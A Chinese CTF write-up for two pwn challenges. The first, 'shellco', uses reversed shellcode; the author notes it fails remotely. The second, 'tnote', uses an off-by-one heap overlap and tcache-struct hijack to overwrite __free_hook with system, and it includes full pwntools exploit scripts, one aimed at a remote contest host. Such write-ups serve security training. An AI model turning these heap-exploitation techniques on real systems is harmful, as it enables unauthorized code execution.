西南石油大学“智仁杯”
shellco
本地各种系统成功,远程GG
提示 “you lost” 之后会跳转到 data 段存储的一个地址:
调试发现,写入内容是从比这个变量高的地址写入,每次写入距离都会减少 0x10 。输入内容会检查,写入 8 bit 以上会报错。
倒序写入 shellcode 。
EXP
本地写入 17 次才会覆盖 0x600489 ,远程 7 次,调整之后依然不成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * context(arch='amd64',log_level='debug')
p = process("./1")
p.recvuntil('name\n') p.sendline("aaaaaaab")
def send(content): p.recvuntil("now\n") p.send(content)
for i in range(13): send('a')
payload3 = asm("pop rax")+asm("int 0x80") send(payload3) payload2 = asm("push 11") send(payload2) payload1 = asm("mov rbx, r12")+asm("mov rax, rbp") send(payload1)
send('\x99\x04')
p.interactive()
|
tnote
一开始想去怎么 unlink 攻击堆指针结构体,最后是劫持 tcache 结构体。
edit 函数中存在 off by one :
思路
- offbyone 修改 size 位造成堆重叠,实现修改 bin 中指针效果
- 释放两个 tcachebin ,利用上面实现的堆重叠泄露堆地址
- 通过堆地址计算出 tcache 结构体(第一个 0x250 堆),通过上面实现的堆重叠修改 tcachebin fd 指针指向结构体,第二次申请就能申请到 tcache 结构体
- 改 tcachebin 数量标志位;off by one 改出一个 0x90 unsortedbin(这里注意绕过 free 时各种 check )
- 再用堆重叠泄露 main_arena 计算 libc 地址
- 复原 tcachebin 数量标志位,以及 0x20 链表首地址为 free_hook
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * context(log_level='debug',terminal=['tmux','sp','-h'])
p = remote('47.98.229.132', 10000) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./pwn")
def command(id): p.recvuntil(": ") p.sendline(id) def add(size): command('A') p.recvuntil("size?") p.sendline(str(size)) def edit(id,content): command('E') p.recvuntil("idx?") p.sendline(str(id)) p.recvuntil("content:") p.sendline(content) def show(id): command('S') p.recvuntil('idx?') p.sendline(str(id)) def free(id): command('D') p.recvuntil('idx?') p.sendline(str(id))
add(0x78) add(0x18) add(0x48) add(0x48) add(0x78)
edit(0,"/bin/sh;".ljust(0x78,'a')+'\x81') free(1) add(0x78)
edit(3,'a'*0x30+p64(0)+p64(0x91))
free(3) free(2) edit(1,'a'*0x20) show(1) p.recvuntil('a'*0x20) heap_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("heap_addr:"+hex(heap_addr)) tcache_addr = heap_addr-0x340 log.info("tcache_addr:"+hex(tcache_addr))
edit(1,'a'*0x18+p64(0x51)+p64(tcache_addr)) add(0x48) add(0x48)
edit(3,'\xFF'*8) edit(1,'a'*0x10+p64(0)+p64(0x91)) free(2) edit(1,'a'*0x20) show(1) p.recvuntil('a'*0x20) main_arena = u64(p.recv(6).ljust(8,'\x00'))-96 log.info("main_arena:"+hex(main_arena)) libc_base = main_arena-0x3ebc40 log.info("libc_base:"+hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook'] log.info("free_hook:"+hex(free_hook)) edit(3,'\x01'*0x40+p64(free_hook))
add(0x18) system_addr = libc_base+libc.sym['system'] edit(2,p64(system_addr))
free(0)
p.interactive()
|